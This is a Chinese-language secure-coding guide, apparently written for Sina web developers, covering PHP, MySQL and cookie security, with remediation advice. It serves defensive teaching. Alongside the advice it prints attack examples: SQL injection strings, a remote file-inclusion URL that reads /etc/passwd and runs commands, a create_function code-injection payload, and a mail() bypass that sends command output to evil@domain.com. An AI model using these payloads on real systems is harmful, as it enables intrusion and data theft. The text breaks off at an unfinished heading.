常见web安全隐患及解决方案

Abstract

有关于WEB服务以及web应用的一些安全隐患总结资料。

 

 

1. 常见web安全隐患

 

1.1.       完全信赖用户提交内容

  开发人员决不能相信一个来自外部的数据。不管它来自用户提交表单,文件系统的文件或者环境变量,任何数据都不能简单的想当然的采用。所以用户输入必须进行验证并将之格式化以保证安全。具体如下:

 

⑴ 始终对所有的用户输入执行验证,且验证必须在一个可靠的平台上进行,应当在应用的多个层上进行。

⑵ 除了输入、输出功能必需的数据之外,不要允许其他任何内容。

⑶ 了解用户合法数据的形态,拒绝所有其他形态数据。

⑷ 录入数据之前必需检查数据合法性。

⑸ 此条建立在所有安全基础之上。

 

1.2.       在web目录中存放敏感数据

  任何和所有的敏感数据都应该存放在独立于需要使用数据的程序的文件中,并保存在一个不能通过浏览器访问的目录下。当需要使用敏感数据时,再通过include 或 require语句来包含到适当的PHP程序中。

  Web目录禁止存放任何数据文件,例如代码/运算结果数据/文档等以方便下载。

 

1.3.       后门和调试隐患

  开发人员常常建立一些后门并依靠调试来排除应用程序的故障。在开发过程中这样做可以,但这些安全漏洞经常被留在一些放在Internet上的最终应用中。一些常见的后门使用户不用口令就可以登录或者访问允许直接进行应用配置的特殊URL。

 

1.4.       越权漏洞

  权限验证机制必须保证在每一个需要身份验证的程序文件中生效,即使是难以猜测的位置和名字,并且对用户级别同样进行严格验证,确保用户不可以非验证状态或低权限状态访问到不属于自己的资源信息。

1.5.       代码同步安全

  开发人员经常有直接从SVN代码库拷贝代码直接上线的习惯,而且多数此类操作都是在UNIX系统下完成,SVN代码库下包含.svn目录,UNIX是一个隐藏性质的目录,开发人员很容易忽略其存在性,该目录包含了关于工作拷贝目录的管理数据,会导致泄露源码、项目结构等敏感信息。

  Svn同步过程中可以使用代码语法检测功能进行第一次代码审计,具体实现请参考svn hook的pre-commit。

 

1.6.       测试环境保护

  测试环境安全与线上安全同样重要,不要为了测试便利而忽略测试机的安全性,防止黑客由内到外的安全攻击事件。

 

1.7.       检测机制层次隐患

  所有的检测机制必需放在服务端进行,不允许节省线上负载而采取本地js验证。因为攻击者可以重新构造表单请求,删除检测js代码,从而绕过验证。

 

  比如这段仅仅用本地js检查文件合法的方式是不允许的:

function isAllowedAttach(sFile)

{

         varsUploadImagesExt = ".jpg .gif .png";

         varsExt = sFile.match( /\.[^\.]*$/ ) ;

         if(sExt) {

          sExt = sExt[0].toLowerCase();

         }else {

… …

      if(!isAllowedAttach(file)){

          show_error("上传图片格式不正确","upinfo");

          return false;

         }

 

1.8.       数据来源安全

  我们程序员写出的程序多数都无法辨别请求是用户自行发起的还是被偷偷恶意发起的,所以我们的程序需要对来源进行验证,可以使用referer进行判断,或者在提交的变量组中加入token验证机制,使表单无法预测。

 

  另外还要小心flash的CSRF 的攻击,请开发人员谨慎设置根目录下crossdomain.Xml中的flash脚本允许互交域,还要灵活配合referer的判断防止flash socket攻击(关键参数:allowscriptaccess,allownetworking)。

 

  详细信息请google搜索:CSRF攻击原理,flash安全。

 

2. PHP常见安全隐患

2.1.       PHP编写安全隐患

2.1.1.    变量覆盖

  看一个漏洞代码:

$str = 'sina';

foreach($_GETas $key => $value) {

                $$key = $value;

        }

echo $str;

 

  $str变量虽然经过初始化,但程序后面遍历了post变量提取key,GET提交“str=test”这样的变量就可以利用数组key覆盖$str变量。

 

注:数组$key会带来很多安全隐患,具体原因会在下面内容陆续指出。

 

  除了疏忽导致的变量被覆盖外,如果对函数的了解不足,也将会造成变量覆盖问题,比如parse_str这个函数,如果其array变量不设置的话,则由该函数设置的变量将覆盖已有变量,比如:

 

$str = 'sina';                    

parse_str($_SERVER['QUERY_STRING']);

echo $sina;

 

  提交php?str=hacker,str变量就会被覆盖为hacker,类似隐患还存在于import_request_variables,extract等。

 

2.1.2.    安全机制滥用

  有些开发人员会为了安全而最大化使用安全处理,比如开启魔法引号,或者将单引号、双引号等复数化,但如果安全机制配合不当,反而会制造出漏洞。

 

  比如代码中对某变量进行了单引号复数化处理,

$id =str_replace("' "," ' ' ",$id);

 

  这是处理数据截断很好的办法,但如果这个时候PHP的魔法引号恰巧开启了,那单引号进来后变成了"\'"这样,但是有经过了复数化,结果变成"\''",第一个单引号失效后第二个仍然有效,可以对数据进行截断。

 

2.1.3.    系统调用

  系统调用漏洞危害是最为严重的一类,因为直接就可以调用服务器上的上层命令解释器对服务器进行控制操作,但是此类漏洞也是出现最少的,因为大多数的web服务器互交会很少用到此类函数,除非是开发人员走捷径,或者是需要直接调用系统程序。

 

  问题发生是因为用户的变量直接或间接的传递并污染到了exec类函数。

 

  system("mkdir {$filedir} -p");

  exec($cmd,$status_array,$status);

 

  使用系统调用类函数就已经增加了程序的风险,如果传递的参数中含有用户可控的变量会将风险再次升级。

 

2.1.4.    文件包含

   win版本的require和include函数是不支持HTTP和FTP远程文件包含的,而UNIX版本默认都是支持远程包含文件。 require和include不管你是什么扩展名的,把你包含进来就作为程序的一部分来执行。我们在写程序的时候为了程序的模块化,以及程序的可移植性,不可避免的用到很多require或include函数,而且有时用变量作为参数,比如:include("$something"); 如果这时用户能控制$something参数,而这个参数又没有过滤,那就麻烦了。

 

首先可以看任何web用户有读权限的文件,假设这个程序叫http://<--domain-->/test.php,这样我们就可以用如下 url: http://--domain--/test.php?something=/etc/passwd 看到/etc/passwd文件。

 

另外可以利用其远程文件包含的功能执行命令。比如在test.com建立一个文件test.php,内容是: <?passthru($cmd)?>,那么就可以用如下的url:

http://--domain--/test.php?something=http://test.com/test.php?cmd=uname
这种方式运行任意的命令。

 

   所以对于include, require函数的使用一定要小心,特别是以包含的文件以参数指定这种方式,参数绝对不能让用户来控制。还有通过修改php.ini文件去掉远程文件包含这个功能。这个在php-4.0.3以前用disable-url-fopen-wrapper 在以后的版本用allow_url_fopen= off来关闭。

 

2.1.5.    文件上传

  我们这边的架构由于有静态池的缘故,文件统一上传到指定服务器群,并且不支持服务器动态脚本解析支持,所以从一定程度上杜绝了上传可执行的PHP代码进行服务器攻击的隐患。

 

  但是攻击者如果能上传exe,html,js文件的话一样可以利用新浪的稳定服务支持进行其他方向的攻击,比如网页木马,跨站脚本攻击等,而且目前也并不能说是100%的将用户资源上传都转交给静态池存储,所以文件上传对于我们开发人员来说仍然是一个非常值得注意的地方。

 

文件上传漏洞主要问题出在几个方面:
(1) 文件后缀

  如果判断上传文件的后缀,开发人员不要检测php后缀这样简单了是,还要注意php5,PhP(大小写),php.(后面有一个.),php.rar(apache MIME-Type解析问题),php%00.jpg(NULL子元截断),1.jpg/a.php(a.php不存在,fastcgi解析问题)等。

由此可见,后缀判断是一种非常不安全的检测手段。

  变成现在这个样子,我们不妨把它反过来实施,将黑名单变为白名单,只允许.jpg,.png,.gif这样的图片文件(文件后缀要获取准确),然后对文件名进行随机化处理(这一点很重要),这样文件名不可预测,而且无法进行数据污染。

  最后白名单机制还需要对NULL子元进行处理,不管是转义还是过滤,总之不能让其干扰程序的判断,这样白名单机制就变得非常可靠了(PHP 5.3.4开始解决了一个老大难问题,就是NULL子元截断的隐患终于在这个版本进行了彻底修复)。

 

(2) Content-Type

  此类方法看似上升了一个高度,文件上传的时候检测Content-Type是否为image/pjpeg合法图片,或者是否为text/plain文本文件非法类型,但是我们从一开始就说了,不要相信任何的输入,Content-Type由本地生成提交就已经决定了它的命运,黑客在客户端拦截合法的HTTP请求就可以轻易修改这里欺骗服务器,让程序认为是合法文件类型,达到攻击目的,所以此类方法不推荐。

 

(3)文件头检测

  有些开发人员对上传的文件类型进行更严格的检测,但是此类检查手段是对文件的头进行判断,比如我们打开一个gif文件,会看到类似"GIF89a"这样的头信息,那么攻击者只需在一个文本文件的第一行写入头信息就可以欺骗成功。

  这种检测文件类型的手段是比较推荐的,但是需要检测机制的强大,比如获取头信息外获取一些其他图片格式信息,大小,缩放等等,这样检测机制就会变的非常严谨有效。

 

  文件上传的问题不单独是开发上的,服务器上还要做到"可写的不可执行,可执行的不可写" 。

 

2.1.6.    文件操作

  文件操作函数,比如fopen,fwrite,file_get_contents等,安全风险与文件包含类似,可以造成任意文件读取的风险。

 

  但如果此刻正好是个write操作,变量被污染后很可能就会直接向服务器写入PHP文件,所以文件要怎么写,写到哪里是开发人员要非常注意的。

 

  另外值得注意的就是网络类函数,比如CURL, 它是可以调用 file:// 协议进行本地文件读取,甚至可以使用ftp:// 或telnet:// 协议等进行一些绕过ACL的非法访问,所以使用CURL类函数请求网络资源时请检查其协议。

 

2.1.7.    数据库操作
 Sql语句作为标准的数据库查询语句,在各种编程环境中得到了广泛的应用。LAMP是我们这边常见的组合,MYSQL的互交成为了我们程序最重要的数据处理方式。
 

  SQL变量的污染会造成我们经常提到的SQL注入攻击,导致黑客提交恶意数据进入到SQL执行的语句结构,污染其中可控的变量,造成最终的SQL执行流程被改变,看一段虽然古老,但比较经典的SQL注射代码样例:

$Sql="Select* from manager where username='" . $user . "' and password ='" .$pass . "'";


  其中username和password是存放用户输入的用户名和口令,通过执行上述语句来验证用户和密码是否合法有效。但是通过分析可以发现,上述语句却存在着致命的漏洞。当我们在用户名称中输入下面的字符串时:a' or 'a'='a,然后口令随便输入,我们设为aaaa。变量代换后,sql语句就变成了下面的字符串:
$Sql="Select * from manager where username='a' or 'a'='a' and password='123456' ";

  我们都知道select语句在判断查询条件时,遇到或(or)操作就会忽略下面的与(and)操作,而在上面的语句中'a'='a'的值永远为true,这意味着无论在密码中输入什么值,均能通过上述的密码验证。这个问题的解决很简单,方法也很多,最常用的是在执行验证之前,对用户输入的用户和密码进行合法性判断,不允许输入单引号、等号等特殊字符。

  以上例子虽然很古老,但还是能直接点明SQL注射的精髓,此类攻击不仅仅能改变逻辑流程,它的本质就是污染SQL流程,所以自然而然的还是可以操作数据库内容的,比如还是上面那段代码,密码我们提交:
' and 1=2 union select 1,password,3 from admin where id = 1/*


语句变为:

$Sql="Select* from manager where username='' and 1=2 union select 1,password,3 from adminwhere id = 1/*' and password ='123456' ";

 

  因为mysql自身不支持多句执行,所以多数要用到联合查询,如果是mysql4.x时代,基本就只能靠经典注射来逐位猜解。

 

  这里还要说一些,SQL除了改变逻辑,非法操作数据库,如果权限设置不当,可以造成跨库查询,或利用mysql自身函数直接读取服务器文件内容,甚至直接写入文件。比如当前帐户被赋予了mysql file权限,那可以利用load_file()读取文件内容,也可以使用into outfile将查询结果导出为文件。

 

  其他数据库与MYSQL大同小异,但由于多句执行和丰富的存储过程,导致攻击更为灵活,但是SQL注射攻击都需要污染进入语句结构的变量,所以解决方案来说变得就非常统一:

 

整形变量 -> 整形检测

字符型变量 -> 过滤单引号,转义单引号

 

2.1.8.    内容输出
 不管程序内部流程的实现是多么错综复杂,都有一个最终的目的,就是做内容的输出与录入,这时会进入一个后台处理与前台内容安全(政治、色情等)的一个交界点,浏览器端的攻击,也是互联网上讨论火热的XSS(跨站脚本攻击)。

 

  这种攻击的目标不是服务器,而是站点的用户,通过污染页面输出内容,注入html或javascript代码,控制客户端浏览器的一些敏感对象,比如document内的cookie,窃取到类似客户端身份认证信息,攻击者就可以对该用户进行劫持,而不需用户名及密码即可成功登陆。除了认证劫持,还可以利用ajax技术,在用户浏览器上直接发送合法的数据包(已当前用户身份),在用户毫不之情的情况下替代用户进行一些"合法"操作,比如偷偷的让你的微博关注一个用户,甚至发一篇微博。

 

  由XSS引申出了很多变异攻击,比如CSRF,Worm,XSRF等等,但无异于都是利用客户端浏览器对目标站点具有的权限进行攻击,本质还是因为我们的程序在进行内容输入、输出时没有对html标签,js行为进行检测和过滤。

 

  富文本安全的对抗至今仍在继续,如不采取白名单形式(允许什么标签?允许什么属性?允许什么协议?允许什么事件?),将会变成一场没有结果战争,只能说越来越完善,但总会有方式可以绕过,互联网上有海量的资料,这里不在详细说明,来看一些对抗XSS导致的会话劫持于请求伪造防御的关键点:

(1)  HTTPONLY

将cookie的传递限制于http协议,本地脚本无权获取

(2)  Domain / Path

设定cookie的作用域/路径

(3)  Secure

为了安全将登陆程序采取ssl加密形式,该选项会限制https访问时才能从浏览器传递到服务器

(4)  Token

使得表单不可预测,防止CSRF类攻击

(5)  Referer

检查请求的来源信息是否为站内

(6)  Crossdomain.xml

禁止设置allow-access-from domain为"*",这样黑客无法使用flash跨域获取信息

 

其他详细内容情参考第四章节.

 

  XSS攻击必读资料:

http://ha.ckers.org/xss.html

http://baike.baidu.com/view/2161269.htm

http://baike.baidu.com/view/1609487.htm

 

2.1.9.    二次攻击

  看一段貌似安全的代码:

if($type =="msn"){

$cmd ="/usr/local/bin/perl msn.pl ".escapeshellarg($user)."".escapeshellarg($pass);

        exec($cmd, $data);

  escapeshellarg会将参数限制在一对单引号里,然后转义参数中所含有的单引号,这样就无法对当前执行进行截断,将参数安全处理后交给了msn.pl。

 

  但是msn.pl接收到参数的流程是这样:

my $username = $ARGV[0];

my $password = $ARGV[1];

$clientcmd =~s/\n//g;

$outcontent =`$clientcmd $username $password $protocal $dir 0 2>>/dev/null`;

  pl脚本里又进行了一次执行"`command`",但是这次$username原封不动的进入了执行流程,一个命令执行漏洞出现了。至于开发人员在写程序时到底是用escapeshellcmd还是escapeshellarg呢?也许这段代码的输出能给你一个合适的答案:

echo 'cat ' .escapeshellcmd('foo;bar');

echo"\n";

echo 'cat ' .escapeshellarg('foo;bar');
输出:

cat foo\;bar

cat 'foo;bar'


  可以得出结论,escapeshellcmd注重过滤,escapeshellarg注重形态,PHP更希望能开发人员能根据实际情况来选择,像msn.pl这个例子,既然没到exec的最后一层,escapeshellarg的使用就是个败笔 。

 

  在看另一个例子:

$foo =substr($_GET['foo'], 0,1);

$sql ="SELECT table FROM database WHERE foo = '$foo' andbar='".$_GET['bar']."'";

提交foo='asd&bar=+or+1=1/* SQL语句就变成了这样,SELECT table FROM database WHERE foo = '\' and bar='or 1=1/*'

这样变量就巧妙的借助魔法引号污染掉了正常SQL语句。

 

  二次攻击的很多特性与安全机制冲突很像,或者他们就是一类问题,都是因为变量经过处理后的形态传递到下一个流程时触发的安全漏洞。

 

2.2.       PHP自身安全隐患

2.2.1.    全局变量

  对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order左边的覆盖右边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯。

 

例如:

if($auth ==true){

        echo "hello , admin";

        ... ...

}else{

        exit("no logon");

}

 

如果register_globals开启的话,我们在客户端提交login.php? GLOBALS[auth]=1,就绕过了认证,全局变量带来的安全问题较为古老,因为从PHP4.2.0开始默认为OFF,感兴趣的同事可自行搜索了解细节。

 

2.2.2.    魔法引号

  当magic_quote_GPC为on时,所有用户输入(GPC=GET,POST,COOKIE)的数据中如果含有但引号,双引号,NULL子元,反斜线时,都会在前面加入一个反斜线使其失去意义,这本是一个很好的全局安全选项。

 

  它在PHP4.0时代还保护其他变量获取方式,比如SERVER,ENV,SESSION。但是在5.0时代,魔法引号去掉了以上变量的保护,如果开发人员继续按照4.0时代的方式来使用魔法引号,可能会出现安全漏洞,最简单的测试方式:

print_r(urldecode($_SERVER['QUERY_STRING']));

提交abc'abc[abc']=abc',回显也是abc'abc[abc']=abc',没有任何转义行为。

 

  在比如discuz曾经出现的一次由于魔术引号导致的安全漏洞:

} elseif(getenv('HTTP_X_FORWARDED_FOR')&& strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$onlineip = getenv('HTTP_X_FORWARDED_FOR');

……

$db->query("Update{$tablepre}members SET lastip='$onlineip', lastvisit=lastactivity,lastactivity='$timestamp' $oltimeadd Where uid='$discuz_uid'",'UNBUFFERED');

  提交的http头里只要带上X-Forwarded-For: Hack',就可以触发漏洞,单引号被带入SQL执行。

 

  最后, 数组key在魔法引号的处理下会因为php版本问题而出现不同的结果,如果注意不当,也是会造成严重的安全漏洞。

  在魔术引号开启的情况下,并且php版本为4和小于5.2.1的版本的时候,不处理数组第一维变量的key,php代码:

print_r($_GET);

  提交x.php? 1'[2']=someone',打印GET数组,会发现输出是这样,Array ( [1'] => Array ([2\'] => someone\' ) ),第一维变量的key没有受到魔法引号的保护。

 

2.2.3.    代码注入 && 执行

  看一段漏洞代码:

$sort_by=$_GET['sort_by'];

$sorter='strnatcasecmp';

$databases=array('test','test');
$sort_function = 'return 1 * ' . $sorter . '($a["' . $sort_by .'"], $b["' . $sort_by . '"]);';

usort($databases, create_function('$a, $b',$sort_function));


  创建了一个自定义函数,接收$databases里两个元素,然后对其进行比较结果乘以1。这里可控的变量是sort_by,直接污染了自定义函数,提交sort_by="].phpinfo().die().$b[",就可以修改原由函数达到代码执行目的。

 

  当然,代码注入 && 执行漏洞都是由于函数本身所提供的功能,类似的还有assert('phpinfo()');,eval('phpinfo();');,call_user_func('phpinfo','1');,preg_replace("/test/e","phpinfo()","test");等。

 

   一旦污染的变量进入到了这些函数重要的参数里面,就会引发严重的代码注入漏洞,而且现在很多webshell为了逃避检测,也用类似方式来执行代码。

参考资料:http://www.securityfocus.com/archive/1/496552/30/0/threaded

 

2.2.4.    编码、解码

PHP提供了很多内置的encode和decode函数,此类函数多数会作用在处理用户提交变量的过程中,所以如果我们的过滤机制在变量经过编码之后而没有解码,就有可能绕过安全过滤。

 

比如:

$sql ="select foo from bar where name = " .urldecode($_GET['name']);

如果name=%2527,将会绕过绝大部分安全机制(包括魔法引号)。

此类值得注意的函数有base64_encode,urlencode,iconv,addslashes等。

 

2.2.5.    安全机制绕过漏洞

  像一些PHP自身的安全机制,比如safe_mode,open_basedir等的绕过问题一直层出不穷,开发人员也要做到了解自己的开发语言,比如4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:

<?mail("foo@bar,"foo","bar","",$bar); ?>

执行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id|mailevil@domain.com

这将id执行的结果发送给evil@domain.com。

 

 

  可以经常关注以下PHP的changelog查看近期以及历史上PHP出过的一些漏洞信息:

http://php.net/ChangeLog-5.php
http://php.net/ChangeLog-4.php

 

2.2.6.    PHP函数缓冲区溢出

  其实PHP函数漏洞不是那么可怕。因为利用条件是苛刻的。它要求Web应用有使用到存在漏洞的函数,而且这个函数的输入能够被用户所控制。这样下来条件就比较少了。
  其实还有其他条件,就是能够稳定利用,因为现代OS都是有很多防溢出的功能的,比如ASLR,DEP,NX等等 。

注意:“内存信息泄露”不是“内存泄露”,后者只能让应用挂掉,而“内存信息泄露”则是能够读出内存的地址,从而稳定的溢出利用。

  一定要明确,PHP漏洞不等于Web Server漏洞,而且PHP是由Webserver执行的,所以就算溢出成功,得到的也只有webserver权限。

  我们经常听说的缓冲区溢出漏洞多数都在探讨远程利用的,本地溢出多数用来做限制突破,权限提升等作用。

  但同样的,PHP函数溢出也可以本地利用,可以用于绕过safemode。就是说,自己写个php文件丢到server上,request一次执行一下,触发漏洞利用函数,从而执行shellcode。 shellcode功能就很多了,执行任意命令、绑定端口、反连。

 

  总之,PHP函数漏洞,是需要找对应的Web应用的,核心条件就是该函数的输入能够被用户控制。


推荐相关信息参考站点:

http://www.php-security.org/

 

2.3.       PHP安全配置

PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。

 

 如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。

 

如果还有其他的PHP_INI_USER,PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:

# grep PHP_INI_/PHP_SRC/main/main.c

 

2.3.1.    Safe_mode

 safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定义目录:

<Directory /var/www>

Options FollowSymLinks

php_admin_value safe_mode 1

</Directory>

重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。

 

所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:

<?include("index.html")?>

几个文件的属性如下:

# ls -la

total 13

drwxr-xr-x 2 root root 104 Jul 20 01:25.

drwxr-xr-x 16 root root 384 Jul 1812:02 ..

-rw-r--r-- 1 root root 4110 Oct 26 2002index.html

-rw-r--r-- 1 www-data www-data 41 Jul19 19:14 test.php

 

在浏览器请求test.php会提示出错。如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。

 

如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:safe_mode_gid = On

 

设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:safe_mode_exec_dir =/usr/local/php/exec

 

 然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

 

safe_mode_include_dir string

 当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。 从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。 指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir =/dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir =/dir/incl/”。

 

safe_mode_allowed_env_vars string

 设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。

注:如果本指令为空,PHP 将使用户可以修改任何环境变量!

 

safe_mode_protected_env_vars string

 本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

 

虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。

 

2.3.2.    Disable_functions

  如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(同类函数还有disable_classes,进行类的禁用),比如:disable_functions= phpinfo, get_cfg_var

 

  可以指定多个函数,用逗号分开。重启apache后,phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处(系统调用类函数比如exec,system,passthru等也是关键disable对象)。

 

2.3.3.    Open_basedir

  很多开发人员都知道用open_basedir对脚本操作路径进行限制,这里再介绍一下它的特性。用open_basedir指定的限制实际上是前缀,不是目录名。也就是说 "open_basedir = /data1/sina" 也会允许访问 "/data1/include" 和 "/data1/incls",如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜线结束路径名。

例如:"open_basedir = /data1 /sina/"。

 

  可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。

 

2.3.4.    警告及错误信息

  PHP默认显示所有的警告及错误信息:

error_reporting= E_ALL & ~E_NOTICE

display_errors= On

  在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。

 

  正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。

 

  修改php.ini中关于Error handling and logging部分内容:

error_reporting= E_ALL

display_errors= Off

log_errors =On

error_log =/usr/local/apache/logs/php_error.log

 

  然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让 web用户可写。

 

3. MYSQL安全隐患

3.1.       数据库帐号及存取

  很多数据库管理员都把数据库密码设置成非常简单,比如顺序数字等,很容易就被猜出来。另外数据库的存取没有做任何限制,容易给攻击者提供可乘之机,通过任意一台机器就可以采用各种方法来攻击数据库服务器,获取密码。

 

  原则上密码设置要:字符和数字混用,长度不少于8个,最好每3月能更换一次。然后对每个帐号都设置存取访问的IP限制,保证只有指定机器能通过此帐号来访问数据库。

 

3.2.       数据库连接权限

此处参考 2.1.7 处的内容,需要注意的几点:

(1)禁止root用户连接,并赋予root用户强壮的密码

 

(2)非特殊情况禁止数据库远程连接

 

(3)关闭user表中用户的File_priv全局文件权限(或加参数--local-infile=0启动mysql)

 

(4)创建数据库用户的时候(比如GRANT)要注意赋予的操作权限以及帐户所属库

 

4. 身份认证信息安全隐患

4.1.       CookieVS SESSION

  Cookie和session的选择是一个老生常谈的问题了,从安全角度来讲,session永远是第一选择,因为单独使用cookie做认证的话,cookie中保存着用户身份关键信息,而这份信息是保存在客户端的,这样对于认证程序来说,只要客户端提交的认证信息正确,程序就肯定了该客户端的身份。

 

  而且代码中会有一些从cookie获取变量的行为,此类行为又是开发人员很容易忽略的地方,所以等于又给程序的安全带来了一定的安全隐患。

 

  但是session仅仅给客户端一段id值,客户端拿这个id来服务器验证,服务器根据这个ID取出对应的session内容进行内部判断,整个过程都是在服务器端进行的,所以对于我们来说是可靠的。

 

4.2.       Cookie种植隐患

  在php编写安全隐患中我们提到了cookie种植的几个安全选项,这里再次详细说明一下,在这之前我们看一下现在的种植方案:

 

SUE=es%3D17f89c256de075dce131e1b4832e6484%26ev%3Dv0;path=/;domain=.sina.com.cn;Httponly

这段cookie中的几个关键部分:
(1) Path 设置了cookie作用路径为根,但是该属性是有继承性质的,也就是说这种设置方案所有目录都可以读取该cookie

 

(2) domain 设置了cookie作用域,注意第一个字节是个. 则代表 全新浪域*.sina.com.cn下都可读取该cookie

 

(3) httponly 指定该cookie只有http通信才可进行读取,xss攻击使用document.cookie是无法取到该cookie的

 

在看一段cookie理想种植:
Set-Cookie: LSID=DQAAAKYAAAD4GTn73TWw5raE96UQyqdbMZqPg-z7JZ_01RnP2uIL6A1dBT1MH1DMK7EbF3GdRXfZeDmRG1-aALW_U3mSiBCwqS1fgh9ohVdfHhkYNx3MQ5QJyqs239wyiLou9uHJNWy4ERcXasY_Ux6BCPsHwZ0cZR2f2gkcM0hVTiAPQwg68XJJKwA5xeNS3BhYR4O00rqiGKlm9ggepH7SOnYX4IU2r7QNd3EAZAqicWW7oBnBlg;Path=/accounts;Expires=Mon,04-Jan-2021 12:43:53 GMT;Secure;HttpOnly

首先这个cookie的线上验证程序使用了SSL加密,也就是https协议进行传输,在看一下其他的安全考虑:

(1)  path 设置了该cookie只能被/accounts目录下的程序读取

 

(2)  Expires 设置了该cookie的过期时间

 

(3)  Secure 设置了该cookie只有在https协议下才可以被读取

 

(4)  httponly 指定该cookie只有http通信才可进行读取

 

  两段cookie的种植机制分析完毕,其实第二段就是google采用的种植手段,这样根据上面的设置,能读取到cookie的区域就只是https://www.google.com/accounts/,路径下的程序才能读取,如果攻击者想窃取这段cookie的话,很遗憾,除非能在https://www.google.com/accounts/,下面放一段web脚本,这样认证风险就被很好的控制住了。

  我们的cookie种植后,根据设置,能读取到该cookie的程序路径为新浪所有域下的所有目录中的程序,虽然设置了httponly,但只要这下面任何一个域名,应用被黑客放入脚本,即可进行cookie的窃取(使用xss等技术让用户强行请求一次他的恶意脚本地址即可)。

 

  两段cookie的种植优缺点也分析完毕,其实我们的开发人员在绞尽脑汁思考富文本安全的时候,不妨谨慎的对cookie进行种植,在问题的根本上就可能有效的杜绝大部分攻击。

4.3.       身份认证保护手段

  XSS中最古老最有效的攻击手段就是窃取用户的cookie,如果缺少了上面提到的一些种植保护,那根据我们这样海量的产品线,攻击者想获得用户的cookie是轻而易举的,得到认证信息后,攻击者会修改本地的cookie记录,然后访问新浪的产品,自然而然他就变成了该用户,因为通过了验证,所以他就拥有了该用户帐户的所有控制权。

 

  即使通过了验证,用户可能还不是用户,就像小偷进了一间屋子,但这不代表这就是他家这个原理。所以我们不能仅仅验证用户名密码、验证客户端cookie后就确认了用户身份,还需要一些其他的手段。

 

4.3.1.      二次密码验证

  如果修改密码的地方不需要旧口令,或者口令保存在一个hidden的表单内,那cookie劫持后黑客就可以修改用户的口令了

  所以一些敏感内容的修改、查看,一定要在进行一次口令验证,因为cookie劫持仅仅是泄露了登陆凭证,但是登陆口令攻击者是不知道的。

 

4.3.2.      登陆凭证绑定

  黑客进行cookie劫持时,已经算的上是一种异地登陆情况了(不同IP,不同浏览器),如果我们有将客户端ip,浏览器agent信息加密保存,认证的时候进行检测,很容易就能发现是不是真正的用户了。

  当以上信息与我们存储的信息发生差异时,就重新登陆验证。

 

4.3.3.      一次性票据

